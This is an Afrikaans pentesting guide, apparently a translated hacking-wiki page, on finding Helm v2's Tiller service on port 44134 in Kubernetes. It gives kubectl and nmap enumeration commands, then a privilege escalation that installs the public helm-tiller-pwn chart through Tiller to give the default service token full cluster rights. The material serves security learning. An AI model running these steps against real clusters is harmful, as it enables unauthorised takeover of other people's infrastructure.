# Basiese Inligting

Helm is die **pakketbestuurder** vir Kubernetes. Dit stel jou in staat om YAML-lêers te pak en dit in openbare en private repositories te versprei. Hierdie pakkette word **Helm Charts** genoem. **Tiller** is die **diens** wat standaard op poort 44134 loop en die diens bied.

**Standaard poort:** 44134
```
PORT      STATE SERVICE VERSION
44134/tcp open  unknown
```
# Enumeration

As jy **pods en/of dienste** van verskillende name ruimtes kan **opnoem**, noem hulle op en soek vir diegene met **"tiller" in hul naam**:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
Voorbeelde:
```bash
kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m
```
U kan ook probeer om hierdie diens te vind deur die poort 44134 te kontroleer:
```bash
sudo nmap -sS -p 44134 <IP>
```
Sodra jy dit ontdek het, kan jy met dit kommunikeer deur die kliënt helm toepassing af te laai. Jy kan gereedskap soos `homebrew` gebruik, of kyk na [**die amptelike vrystellingsbladsy**](https://github.com/helm/helm/releases)**.** Vir meer besonderhede, of vir ander opsies, sien [die installasie gids](https://v2.helm.sh/docs/using\_helm/#installing-helm).

Dan kan jy **die diens opnoem**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Privilege Escalation

Deur die standaard is **Helm2** in die **namespace kube-system** met **hoë bevoegdhede** geïnstalleer, so as jy die diens vind en toegang daartoe het, kan dit jou toelaat om **bevoegdhede te eskaleer**.

Alles wat jy hoef te doen is om 'n pakket soos hierdie te installeer: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) wat die **standaard diens token toegang tot alles in die hele kluster sal gee.**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) het jy die **verklaring van die aanval**, maar basies, as jy die lêers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) en [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) binne _helm-tiller-pwn/pwnchart/templates/_ lees, kan jy sien hoe **alle die voorregte aan die standaardtoken gegee word**.
